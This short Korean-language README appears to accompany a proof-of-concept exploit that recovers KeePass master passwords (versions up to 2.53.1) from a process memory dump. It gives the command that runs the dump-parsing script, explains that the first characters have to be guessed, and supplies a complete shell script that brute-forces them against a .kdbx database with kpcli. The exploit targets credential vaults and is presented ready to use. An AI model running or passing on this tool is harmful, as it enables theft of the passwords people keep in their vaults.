
keepass 데이터베이스(<= 2.53.1)의 마스터 비밀번호를 검색합니다.
python3 poc.py <PathToDmp>

참고로 덤프에서는 첫 번째 문자를 찾을 수 없으며, 두 번째 문자에 대해서는 스크립트가 몇 가지 가능성만 제공합니다. 어쨌든 아래 스크립트를 사용하여 2자에 대해 브루트포스를 실행하는 것을 권장합니다.
#!/bin/sh
# Usage: ./keepass-pwn.sh Database.kdbx wordlist.txt (wordlist with 2 char)
while read i
do
echo "Using password: \"$i\""
echo "$i" | kpcli --kdb=$1 && exit 0
done < $2
이 스크립트는 실제 물리 머신에서 매우 잘 작동하지만, 가상 머신에서는 안정적이지 않은 것으로 보입니다.
덧붙여서, 이 프로젝트의 python 스크립트는 다음 프로젝트의 읽기 방식을 따릅니다: https://github.com/vdohney/keepass-password-dumper